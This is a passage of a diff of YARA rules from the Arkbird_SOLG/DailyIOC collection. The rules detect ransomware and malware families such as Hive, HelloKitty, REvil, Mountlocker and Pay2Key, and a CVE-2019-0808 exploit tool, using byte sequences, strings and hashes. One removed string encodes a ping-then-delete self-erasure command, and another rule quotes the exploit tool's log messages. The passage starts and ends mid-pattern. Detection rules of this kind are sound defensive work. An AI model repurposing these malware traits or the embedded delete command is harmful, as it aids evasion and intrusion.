9c ec bd 6b 97 eb 4a 72 25 f6 57 8e b5 96 67 75 4f 6b 24 f0 25 8f a6 d5 b3 16 59 00 6a c8 19 80 06 86 28 9b 65 d9 b3 7a 58 b7 59 97 3c ea 96 fb 21 92 90 fb bf 3b 76 64 c6 23 93 f5 38 47 6a 8f f5 41 1f ee ba c5 03 12 40 66 46 46 c6 63 c7 8e 7f f8 } - $s2 = { 94 fe 9b f1 c7 1f e8 e3 0f f4 f1 87 19 fd 37 ff f9 17 fc db 8f f4 ed e2 e7 5f fe 1b fe ff df 7e fc 8b df fe f0 f7 5f 7f 79 f8 e1 27 7f f9 7f fc 5f cb 7f f7 fc cb 7f 37 16 ff ee af ff f6 67 7f fb 97 7f fb b7 bf f8 3f ff f2 f8 e7 74 e3 9f fe fc cb e5 f5 c7 af 3f 7c f9 c9 8f 5f fe 06 3f f9 fa c3 af 8f bf 7f a5 87 d3 fd e9 26 bf 7f fd f1 } - $s3 = { b6 7c 2a db e2 39 ae 67 75 d9 ee 56 ab 7e 27 f2 b5 2e ba 61 3d a5 f5 88 f3 5b 3f f6 b4 b6 6d d1 c9 fb ae 9a 20 93 63 5c cf 69 73 6e a6 dd 4e d6 6b 98 f4 67 92 01 fa 9e 3d 6f 98 f7 95 3c ef eb aa 3f 37 85 bd ef 70 69 c6 ba ea 77 4f } - $s4 = { 4d 51 d7 5b 7d de f2 96 c8 0b dd bf d9 2d e9 7d 87 85 ec 87 b6 a4 cf 43 dc 1f 55 37 d2 fd 2b 95 df 20 6f 45 ab e3 e1 eb 24 df 71 ff 40 fe 69 3f } - $s5 = { 0f 35 fc 43 53 cf 03 67 d3 85 fb 51 b6 49 5f 40 fa 5d a2 3f 7d 31 fb 0b 3d 6f 53 69 ff 78 aa 37 e8 f3 12 fe 35 3e 43 90 7c 9c e3 73 a6 78 1c 9c 21 ec bf 20 df eb f0 5a b7 76 6f fb ad 96 53 57 0f a4 fc c3 6a f5 6d fe 41 fc 19 ed f7 4f 78 3a e9 1f f8 23 3d 2b 8d 2f 86 79 d6 7b b2 f8 e0 85 f2 51 25 fc 70 8c } + $s1 = { 48 83 ec 10 4c 89 14 24 4c 89 5c 24 08 4d 33 db 4c 8d 54 24 18 4c 2b d0 4d 0f 42 d3 65 4c 8b 1c 25 10 00 00 00 4d 3b d3 f2 73 17 66 41 81 e2 00 f0 4d 8d 9b 00 f0 ff ff 41 c6 03 00 4d 3b d3 f2 75 ef 4c 8b 14 24 4c 8b 5c 24 08 48 83 c4 10 f2 c3 } + $s2 = { 89 ?? 24 ?? 8b ?? 24 0c 89 ?? 24 ?? 8b ?? 24 ?? c1 ?? 0d 89 ?? 24 0c 48 8b ?? 24 10 89 ?? 24 [2] 8b ?? 24 10 } + $s3 = { b8 10 00 00 00 48 89 45 ?? e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 8b 55 f8 89 11 4c 8b 45 ?? 4c 8b 4d f0 4d 89 08 4c 8b 55 ?? 4c 8b 5d e8 4d 89 1a 48 8b 75 ?? 48 8b 7d e0 48 89 3e c7 00 ?? 00 00 00 48 8b 05 [3] 00 48 05 [2] 00 00 8b 19 4d 8b 00 4d 8b 32 48 8b 0e 48 83 ec 20 4c 89 f2 41 89 d9 ff d0 48 83 c4 20 ?? 45 } + $s4 = { 48 83 ec 48 44 89 4c 24 44 4c 89 44 24 38 48 89 54 24 30 48 89 4c 24 28 c7 44 24 24 ?? 00 00 00 48 8b 05 [3] 00 48 05 [2] 00 00 44 8b 4c 24 44 4c 8b 44 24 38 48 8b 54 24 30 48 8b 4c 24 28 ff d0 90 48 83 c4 } condition: - uint32( 0 ) == 0x46445025 and filesize > 25KB and $x1 and 4 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 20KB and 3 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Heinote_June_2020_1 : FILE +rule ARKBIRD_SOLG_RAN_ELF_Hive_Oct_2021_1 : FILE { meta: - description = "Detect Hienote malware" + description = "Detect ELF version of Hive ransomware" author = "Arkbird_SOLG" - id = "5c0e604a-83d4-5c6f-83fa-0df878da80d8" - date = "2020-06-26" - modified = "2023-11-22" - reference = "https://twitter.com/JAMESWT_MHT/status/1276471822217891840" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-26/Heinote_June_2020-1.yar#L1-L29" + id = "434cfe85-3209-5990-9c68-47ce4fafd5b8" + date = "2021-10-29" + modified = "2021-10-30" + reference = "https://twitter.com/ESETresearch/status/1454100591261667329" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/RAN_ELF_Hive_Oct_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "679f1113c9c770910d18da395b13aaef009ecdde91a0c11f931d0d7e63ed122a" - score = 75 - quality = 61 + logic_hash = "47ccf3b825521986070dba92194d5937289c0335b922537ea3242c4afb2be237" + score = 60 + quality = 35 tags = "FILE" - hash1 = "e0a34b9c420ddd930b3f89c13c3f564907dd948e88f668a0fe55ce506220bd73" + hash1 = "6a0449a0b92dc1b17da219492487de824e86a25284f21e6e3af056fe3f4c4ec0" + hash2 = "bdf3d5f4f1b7c90dfc526340e917da9e188f04238e772049b2a97b4f88f711e3" + tlp = "white" + adversary = "-" + level = "experimental" strings: - $s1 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 53 45 54 5d 2d 2d 2d 2d } - $s2 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 47 45 54 5d 2d 2d 2d 2d } - $s3 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 47 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 47 65 74 4d 61 69 6e 50 61 67 65 20 6c 70 73 7a 75 72 6c 20 3d 20 25 73 } - $s4 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 53 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 73 74 61 74 75 73 20 3d 20 25 64 2f 25 64 20 67 65 74 20 3d 20 25 73 20 73 65 74 20 3d 20 25 73 } - $s5 = { 44 65 62 75 67 49 6e 66 6f } - $s6 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 46 41 56 5d 5b 53 45 54 5d 2d 2d 2d 2d } - $s7 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 46 41 56 5d 5b 53 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 66 61 76 20 72 65 74 20 3d 20 25 64 0a } - $s8 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 46 41 56 5d 5b 53 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 69 20 3d 20 25 64 20 6c 70 73 7a 4d 61 67 69 63 20 3d 20 25 73 0a } - $s9 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 53 45 54 43 4f 4f 4b 49 45 48 41 4f 31 32 33 5d 20 6f 6b 20 6f 6b 0a } - $s10 = { 75 73 65 72 6e 61 6d 65 3d 22 25 73 22 2c 20 72 65 61 6c 6d 3d 22 25 73 22 2c 20 6e 6f 6e 63 65 3d 22 25 73 22 2c 20 75 72 69 3d 22 25 73 22 2c 20 63 6e 6f 6e 63 65 3d 22 25 73 22 2c 20 6e 63 3d 25 30 38 78 2c 20 71 6f 70 3d 25 73 2c 20 72 65 73 70 6f 6e 73 65 3d 22 25 73 22 } - $s11 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x" fullword ascii - $s12 = { 25 73 20 63 6f 6f 6b 69 65 20 25 73 3d 22 25 73 22 20 66 6f 72 20 64 6f 6d 61 69 6e 20 25 73 2c 20 70 61 74 68 20 25 73 2c 20 65 78 70 69 72 65 20 25 49 36 34 64 0a } - $s13 = "User-Agent: %s" fullword ascii - $s14 = "Send failure: %s" fullword ascii - $s15 = "ftp://%s:%s@%s" fullword ascii - $s16 = "Host: %s%s%s" fullword ascii - $s17 = "Referer: %s" fullword ascii + $s1 = { 49 3b 66 10 76 ?? 48 83 ec ?? 48 89 6c 24 ?? 48 8d 6c 24 ?? 48 8b [3] 48 } + $s2 = { 48 89 f8 48 89 f3 48 83 ec 27 48 83 e4 f0 48 89 44 24 10 48 89 5c 24 18 48 8d 3d 41 [2] 00 48 8d 9c 24 68 00 ff ff 48 89 5f 10 48 89 5f 18 48 89 1f 48 89 67 08 b8 00 00 00 00 0f a2 89 c6 83 f8 00 74 33 81 fb 47 65 6e 75 75 1e 81 fa 69 6e 65 49 75 16 81 f9 6e 74 65 6c 75 0e c6 05 [3] 00 01 c6 05 [3] 00 01 b8 01 00 00 00 0f a2 89 05 [3] 00 48 8b 05 } + $s3 = { 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc } + $s4 = { 00 00 48 8b ac 24 68 02 00 00 48 81 c4 70 02 00 00 c3 ?? 80 ?? 0e [6] 48 8b [2] 48 } condition: - uint16( 0 ) == 0x4D5A and filesize < 450KB and 14 of them + uint32( 0 ) == 0x464C457F and filesize > 20KB and all of ( $s* ) } -rule ARKBIRD_SOLG_Ran_Pay2Key_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_RAN_ELF_Hellokitty_Aug_2021_1 : FILE { meta: - description = "Detect Pay2Key ransomware" + description = "Detect HelloKitty ransomware" author = "Arkbird_SOLG" - id = "440b8128-4708-54ba-94c3-c0b522004da6" - date = "2020-12-01" - modified = "2020-12-14" + id = "3e83f07a-0ee7-5381-9aba-2606c01b9d91" + date = "2021-08-14" + modified = "2021-08-14" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-14/Pay2Key/Ran_Pay2Key_Nov_2020_1.yar#L1-L31" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-14/HelloKitty/RAN_ELF_HelloKitty_Aug_2021_1.yara#L1-L17" license_url = "N/A" - logic_hash = "f1ea1ed141ba7a1eaaa34c216adebfacaa23ef8776a0216b778ccb34bd000590" + logic_hash = "99816756ea0a680eb25da192c9f069082f6479befe4e50188ad8f90b323d1f2d" score = 75 quality = 75 tags = "FILE" - hash1 = "5bae961fec67565fb88c8bcd3841b7090566d8fc12ccb70436b5269456e55c00" - hash2 = "d2b612729d0c106cb5b0434e3d5de1a5dc9d065d276d51a3fb25a08f39e18467" - hash3 = "ea7ed9bb14a7bda590cf3ff81c8c37703a028c4fdb4599b6a283d68fdcb2613f" + hash1 = "ca607e431062ee49a21d69d722750e5edbd8ffabcb54fa92b231814101756041" + hash2 = "b4f90cff1e3900a3906c3b74f307498760462d719c31d008fc01937f5400fb85" + tlp = "White" + adversary = "RAAS" strings: - $s1 = "F:\\2-Sources\\21-FinalCobalt\\Source\\cobalt\\Cobalt\\Cobalt\\Win32\\Release\\Client\\Cobalt.Client.pdb" fullword ascii - $s2 = ".\\Cobalt-Client-log.txt" fullword ascii - $s3 = ".\\Config.ini" fullword wide - $s4 = "Local\\{C15730E2-145C-4c5e-B005-3BC753F42475}-once-flag" fullword ascii - $s5 = "\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" fullword ascii - $s6 = { 40 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 31 00 2e 00 31 00 2e 00 31 00 2e 00 31 00 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 33 00 30 00 30 00 30 00 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 44 00 65 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 } - $s7 = "%WINDRIVE%" fullword wide - $s8 = "%WINDIR%" fullword wide - $dbg1 = "message.txt" fullword ascii - $dbg2 = "Failed To Get Data...." fullword ascii - $dbg3 = "lock.locked()" fullword wide - $dbg4 = { 47 65 74 41 64 61 70 74 65 72 73 49 6e 66 6f 20 66 61 69 6c 65 64 20 77 69 74 68 20 65 72 72 6f 72 3a 20 25 64 0a } - $dbg5 = { 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 74 20 66 61 69 6c 65 64 3a 20 25 78 0a } - $dbg6 = { 43 72 79 70 74 44 65 72 69 76 65 4b 65 79 20 66 61 69 6c 65 64 3a 20 25 78 0a 00 00 25 00 64 } - $dbg7 = { 5b 2d 5d 20 43 72 79 70 74 45 6e 63 72 79 70 74 20 66 61 69 6c 65 64 0a } + $seq1 = { 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 05 ?? 13 21 00 48 8b 3d ?? 14 21 00 48 89 e9 ba ?? 0c 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e2 ff ff 48 8b 3d ?? 14 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 05 ?? 13 21 00 48 8b 3d ?? 12 21 00 48 89 e9 ba ?? 0c 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e2 ff ff 48 8b 05 [2] 21 00 b9 ?? 0c 41 00 ba 80 00 00 00 be 01 00 00 00 4c 89 e7 48 8b 04 18 44 8b 00 31 c0 e8 ?? e5 ff ff 4c 89 e7 e8 cd 10 00 00 48 85 c0 49 89 c7 0f 84 9b 00 00 00 48 83 3d ?? 13 21 00 00 74 60 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 ?? e3 ff ff 48 8b 05 ?? 12 21 00 48 8b 3d ?? 13 21 00 48 89 e9 ba [2] 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e1 ff ff 48 8b 3d ?? 13 21 00 e8 ?? e6 ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 05 ?? 12 21 00 48 8b 3d [2] 21 00 48 89 e9 ba [2] 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e1 ff ff } + $seq2 = { 31 c0 b9 40 00 00 00 48 89 ef f3 ab be ?? 0d 41 00 48 89 df e8 [2] ff ff 48 85 c0 49 89 c5 0f 84 4c 01 00 00 48 89 c2 48 89 de 48 89 ef 48 29 da e8 71 07 00 00 be 3a 00 00 00 48 89 ef e8 [2] ff ff 48 8d 78 01 e8 [2] ff ff 85 c0 41 89 c7 0f 84 04 01 00 00 bf 10 00 00 00 e8 ?? dd ff ff 4c 89 ef 44 89 38 49 89 c6 48 89 04 24 e8 3d f5 ff ff 48 83 3d ?? 0e 21 00 00 49 89 46 08 74 6f 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 04 24 48 8b 0d ?? 0d 21 00 ba ?? 0d 41 00 48 2b 0d ?? 0d 21 00 48 8b 3d ?? 0e 21 00 be 01 00 00 00 4c 8b 48 08 44 8b 00 31 c0 48 c1 f9 03 48 ff c1 e8 ?? dc ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 04 24 48 8b 0d [2] 21 00 be 01 00 00 00 48 2b 0d [2] 21 00 48 8b 3d ?? 0c 21 00 ba ?? 0d 41 00 4c 8b 48 08 44 8b 00 31 c0 48 c1 f9 03 48 ff c1 e8 [2] ff ff 48 8b 35 [2] 21 00 48 3b 35 [2] 21 00 74 16 48 85 f6 74 07 48 8b 04 24 48 89 06 48 83 05 [2] 21 00 08 eb 0d 48 89 e2 bf e0 49 61 00 e8 af 02 00 00 48 8d 7b 01 be ?? 0d 41 00 e8 ?? dd ff ff 48 89 c3 e9 86 fe ff ff 4d 85 e4 74 08 4c 89 e7 e8 [2] ff ff 48 83 3d ?? 0d 21 00 00 74 61 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 0d ?? 0c 21 00 48 2b 0d ?? 0c 21 00 ba ?? 0d 41 00 48 8b 3d ?? 0d 21 00 be 01 00 00 00 31 c0 48 c1 f9 03 e8 ?? db ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 0d ?? 0c 21 00 48 2b 0d [2] 21 00 31 c0 48 8b 3d ?? 0b 21 00 ba ?? 0d 41 00 be 01 00 00 00 48 c1 f9 03 e8 [2] ff ff 48 8b 84 24 18 01 00 00 64 48 33 04 25 28 00 00 } + $seq3 = { 48 8d b4 24 90 00 00 00 bf d0 4a 61 00 48 c7 84 24 98 00 00 00 00 00 00 00 48 c7 84 24 90 00 00 00 01 00 00 00 e8 [2] ff ff e8 ?? 22 00 00 89 44 24 08 8b 05 [2] 21 00 89 d9 44 8b 0d [2] 21 00 44 8b 05 [2] 21 00 ba ?? 0e 41 00 48 8b 3d [2] 21 00 be 01 00 00 00 89 04 24 31 c0 e8 ?? f8 ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 31 f6 ba 0a 00 00 00 bf 40 4a 61 00 e8 ?? fa ff ff ba 0a 00 00 00 31 f6 bf 20 4a 61 00 e8 ?? fa ff ff be 01 00 00 00 bf 11 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 14 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 16 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 15 00 00 00 e8 [2] ff ff 83 3d ?? 28 21 00 00 } condition: - uint16( 0 ) == 0x5a4d and filesize > 500KB and ( 5 of ( $s* ) and 4 of ( $dbg* ) ) + uint32( 0 ) == 0x464C457F and filesize > 20KB and all of ( $seq* ) } - -rule ARKBIRD_SOLG_APT_Patchwork_Tool_CVE_2019_0808_1 : FILE +rule ARKBIRD_SOLG_RAN_Mountlocker_May_2021_1 : FILE { meta: - description = "Detect CVE 2019-0808 tool used by Patchwork group" + description = "Detect the Mountlocker ransomware" author = "Arkbird_SOLG" - id = "169255fe-dd7a-5a4e-8f0f-d84a0cf5c684" - date = "2020-08-27" - modified = "2021-07-13" - reference = "https://blog.exodusintel.com/2019/05/17/windows-within-windows/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-27/APT_Patchwork_Tool_CVE_2019_0808_1.yar#L3-L34" + id = "0bc0d341-4658-500e-b487-1993e5431560" + date = "2020-05-12" + modified = "2021-05-16" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-12/Astrolocker/RAN_MountLocker_May_2021_1.yara#L1-L20" license_url = "N/A" - logic_hash = "e66df5d69d64c00cb68ff7bea0f7a7eec6657aff83d0f6cdb48d908bae8bcec8" - score = 50 + logic_hash = "c0826d4c740b5c46b704b42e002602dd0cda2b6d1bf0ba5431877be8bd600b64" + score = 75 quality = 75 tags = "FILE" - hash1 = "49f8a9203e5055777a67490923243405b9aa519016645fd75731c53cbf02073c" - level = "Experimental" + hash1 = "0aa8099c5a65062ba4baec8274e1a0650ff36e757a91312e1755fded50a79d47" + hash2 = "f570d5b17671e6f3e56eae6ad87be3a6bbfac46c677e478618afd9f59bf35963" + hash3 = "5eae13527d4e39059025c3e56dad966cf67476fe7830090e40c14d0a4046adf0" + tlp = "White" + adversary = "MountLocker" strings: - $asm1 = { 8b 3d 44 21 01 10 6a 00 6a 00 6a 01 6a 01 6a 00 6a 00 68 00 00 00 08 68 e4 7e 01 10 68 e8 7e 01 10 6a 00 ff d7 50 68 f0 7e 01 10 a3 c8 a2 01 10 e8 e8 f7 ff ff 8b 35 68 21 01 10 8d 84 24 5c 01 00 00 83 c4 08 c7 84 24 54 01 00 00 1c 00 00 00 0f 57 c0 c7 84 24 58 01 00 00 10 00 00 00 66 0f 13 84 24 60 01 00 00 66 0f 13 84 24 68 01 00 00 50 ff b4 24 1c 01 00 00 c7 84 24 64 01 00 00 00 00 00 60 ff d6 8d 84 24 54 01 00 00 50 ff 74 24 10 ff d6 8b 35 5c 21 01 10 68 04 7f 01 10 ff 74 24 10 68 10 04 00 00 ff b4 24 24 01 00 00 ff } - $asm2 = { a1 14 21 01 10 0f 57 c0 8b 74 24 08 89 84 24 28 01 00 00 8d 84 24 20 01 00 00 50 c7 84 24 28 01 00 00 00 00 00 00 66 0f 13 84 24 3c 01 00 00 c7 84 24 44 01 00 00 00 00 00 00 c7 84 24 50 01 00 00 00 00 00 00 c7 84 24 24 01 00 00 30 00 00 00 c7 84 24 30 01 00 00 00 00 00 00 c7 84 24 34 01 00 00 00 00 00 00 89 b4 24 38 01 00 00 c7 84 24 48 01 00 00 00 00 00 00 c7 84 24 4c 01 00 00 10 7f 01 10 ff 15 64 21 01 10 6a 00 56 6a 00 6a 00 6a 01 6a 01 6a 00 6a 00 68 00 00 00 08 68 20 7f 01 10 68 10 7f 01 10 6a 00 ff d7 6a 00 50 6a 00 6a 00 a3 ec a2 01 10 6a 00 ff b4 24 2c 01 00 00 ff 15 58 21 01 } - $asm3 = { e8 72 fb ff ff 83 c4 08 68 c0 13 00 10 6a fc ff 76 0c ff 15 54 21 01 10 56 ff 75 0c ff 75 08 6a 00 ff 15 24 21 01 10 5f 5e 5b 5d } - $s1 = "[*] Successfully exploited CVE-2019-0808 and triggered the shellcode!" fullword ascii - $s2 = "[!] Failed to find the address of IsMenu within user32.dll." fullword ascii - $s3 = "Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the execution of the shellcode as SYSTEM." fullword ascii - $s4 = "AppPolicyGetProcessTerminationMethod" fullword ascii - $s5 = "[*] Found target windows!" fullword ascii - $s6 = "[*] addressOfIsMenuFromStartOfUser32: 0x%08X" fullword ascii - $s7 = "[*] FakeMenu: %p" fullword ascii - $s8 = "[*] Primary window address: 0x%08X" fullword ascii - $s9 = "[!] Didn't exploit the program. For some reason our privileges were not appropriate." fullword ascii - $s10 = "[*] hUser32: 0x%08X" fullword ascii - $s11 = "[*] Secondary window address: 0x%08X" fullword ascii - $s12 = "[*] Offset: 0x%08X" fullword ascii - $s13 = "[*] pHmValidateHandle: 0x%08X" fullword ascii - $s14 = "[*] HWND: %p " fullword ascii - $s15 = "[*] pIsMenuFunction: 0x%08X" fullword ascii - $s16 = "[*] Destroyed spare windows!" fullword ascii - $s17 = "[!] SetWindowLongA malicious error: 0x%08X" fullword ascii + $seq_Sep_2020_1 = { 40 53 48 81 ec f0 02 00 00 b9 e8 03 00 00 ff 15 ec 1a 00 00 bb 68 00 00 00 48 8d 4c 24 70 44 8b c3 33 d2 e8 9c 00 00 00 ba 04 01 00 00 89 5c 24 70 48 8d 8c 24 e0 00 00 00 ff 15 51 1a 00 00 48 8d 15 a2 9c 00 00 48 8d 8c 24 e0 00 00 00 ff 15 64 1a 00 00 48 8d 44 24 50 45 33 c9 48 89 44 24 48 48 8d 94 24 e0 00 00 00 48 8d 44 24 70 45 33 c0 48 89 44 24 40 33 c9 48 83 64 24 38 00 48 83 64 24 30 00 c7 44 24 28 10 00 00 00 83 64 24 20 00 ff 15 c1 19 00 00 8b d8 85 c0 74 16 48 8b 4c 24 58 ff 15 50 1a 00 00 48 8b 4c 24 50 ff 15 45 1a 00 00 8b c3 48 81 c4 f0 02 } + $seq_Sep_2020_2 = { 68 00 00 00 f0 6a 01 68 a0 51 00 10 57 8d 45 f8 89 5d f4 50 89 7d f8 89 7d fc ff 15 30 50 00 10 85 c0 0f 84 81 00 00 00 8d 45 fc 50 57 57 68 14 01 00 00 68 d0 d0 00 10 ff 75 f8 ff 15 08 50 00 10 8b f0 85 f6 74 26 68 00 01 00 00 8d 45 f4 50 68 60 42 01 10 57 6a 01 57 ff 75 fc ff 15 04 50 00 10 ff 75 fc 8b f0 ff 15 00 50 00 10 57 ff 75 f8 ff 15 0c 50 00 10 } + $seq_Jan_2021_1 = { 48 21 4d 77 4c 8d 05 [2] 00 00 48 21 4d 6f ?? 8b ?? 48 8d 4d 77 [6-9] c7 44 24 20 00 00 00 f0 ff 15 [2] 00 00 85 c0 0f 84 [2] 00 00 48 8b 4d 77 48 8d 45 6f 48 89 44 24 28 48 8d [3] 00 00 83 64 24 20 00 [2-5] c9 41 b8 14 01 00 00 ff 15 [2] 00 00 8b d8 85 c0 74 3b 48 8b 4d 6f 48 8d 45 67 c7 44 24 30 00 01 00 00 45 33 c9 48 89 44 24 28 ?? 8b ?? 48 8d 05 [2-3] 00 33 d2 48 89 44 24 20 ff 15 [2] 00 00 48 8b 4d 6f 8b d8 ff 15 [2] 00 00 48 8b 4d 77 33 d2 ff 15 [2] 00 00 85 db [4-12] 00 00 48 8d } + $seq_Jan_2021_2 = { 4c 8d 05 20 47 00 00 41 8b ce 48 8d 15 1e 47 00 00 e8 [2] 00 00 ba 04 01 00 00 48 8d 4c 24 40 ff 15 ?? 43 00 00 85 c0 75 12 b8 5c 00 00 00 c7 44 24 40 43 00 3a 00 66 89 44 24 44 89 6c 24 38 4c 8d 8c 24 78 02 00 00 48 89 6c 24 30 48 8d 4c 24 40 48 89 6c 24 28 45 33 c0 33 d2 48 89 6c 24 20 66 89 6c 24 46 ff 15 6b 44 00 00 44 8b 84 24 78 02 00 00 48 8d 15 e4 45 00 00 85 c0 b9 bd 07 a2 41 44 0f 44 c1 41 8b c8 44 89 84 24 78 02 00 00 c1 c9 09 41 8b c0 89 4c 24 28 45 8b c8 c1 c8 06 48 8d 4c 24 40 41 c1 c9 03 89 44 24 20 ff 15 8b 44 00 00 4c 8d 44 24 40 33 d2 33 c9 ff 15 ?? 42 00 00 48 85 c0 74 1b ff 15 [2] 00 00 3d b7 00 00 00 74 0e bf 01 00 00 00 48 8d 15 fe 45 00 00 eb 09 8b fd 48 8d 15 a3 45 00 00 41 8b } condition: - uint16( 0 ) == 0x5a4d and filesize > 70KB and ( pe.imphash ( ) == "d4a5e8c255211639195793920eeda70f" and 2 of ( $asm* ) and 12 of ( $s* ) ) + uint16( 0 ) == 0x5a4d and filesize > 30KB and 1 of ( $seq* ) } -rule ARKBIRD_SOLG_RAN_ELF_Revil_Jun_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_Astrolocker_May_2021_1 : FILE { meta: - description = "Detect the ELF version of REvil ransomware" + description = "Detect the Astrolocker ransomware" author = "Arkbird_SOLG" - id = "b4b9d60e-a352-5045-8be3-e9a08d70ef6b" - date = "2021-06-28" - modified = "2021-06-29" - reference = "https://twitter.com/jaimeblascob/status/1409603887871500288" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-28/REvil/RAN_ELF_REvil_Jun_2021_1.yara#L1-L22" + id = "f2c2c96a-277e-575b-8d80-4729f4a1cfe4" + date = "2020-05-12" + modified = "2021-05-16" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-12/Astrolocker/RAN_Astrolocker_May_2021_1.yara#L1-L18" license_url = "N/A" - logic_hash = "054bdb8362fdea2dc914b11387f6c67e35932acb73ba2b133ca29f69549914ba" - score = 75 + logic_hash = "7e50642f5f864b7cffeb5ccf4581ac7566da24fd5361a3303a860f036cd6d439" + score = 50 quality = 75 tags = "FILE" - hash1 = "3d375d0ead2b63168de86ca2649360d9dcff75b3e0ffa2cf1e50816ec92b3b7d" - hash2 = "d6762eff16452434ac1acc127f082906cc1ae5b0ff026d0d4fe725711db47763" - hash3 = "796800face046765bd79f267c56a6c93ee2800b76d7f38ad96e5acb92599fcd4" - hash4 = "ea1872b2835128e3cb49a0bc27e4727ca33c4e6eba1e80422db19b505f965bc4" + hash1 = "7fe1686f4afb9907f880a5e77bf30bc00fae71980f57ca70b60b7b1716456a2f" + hash2 = "b26749b17ca691328ba67ee49d4d9997c101966c607ab578afad204459b7bf8f" tlp = "White" - adversary = "RAAS" + adversary = "-" + level = "Experimental" strings: - $seq1 = { 55 48 89 e5 48 83 c4 80 bf 04 20 00 00 e8 69 d5 ff ff 48 89 45 f8 ?? 8b 05 [2] 31 00 [0-4] 48 8b 3d [2] 31 00 48 8b 35 [2] 31 00 48 8b 0d [2] 31 00 4c 8b 0d [2] 31 00 4c 8b [2] 13 31 00 48 8b 15 ?? 13 31 00 48 8b 45 f8 4c 89 ?? 24 18 48 89 7c 24 10 48 89 74 24 08 48 89 0c 24 ?? 89 } - $seq2 = { 48 89 e5 bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff bf [2] 41 00 e8 [2] ff ff 8b 05 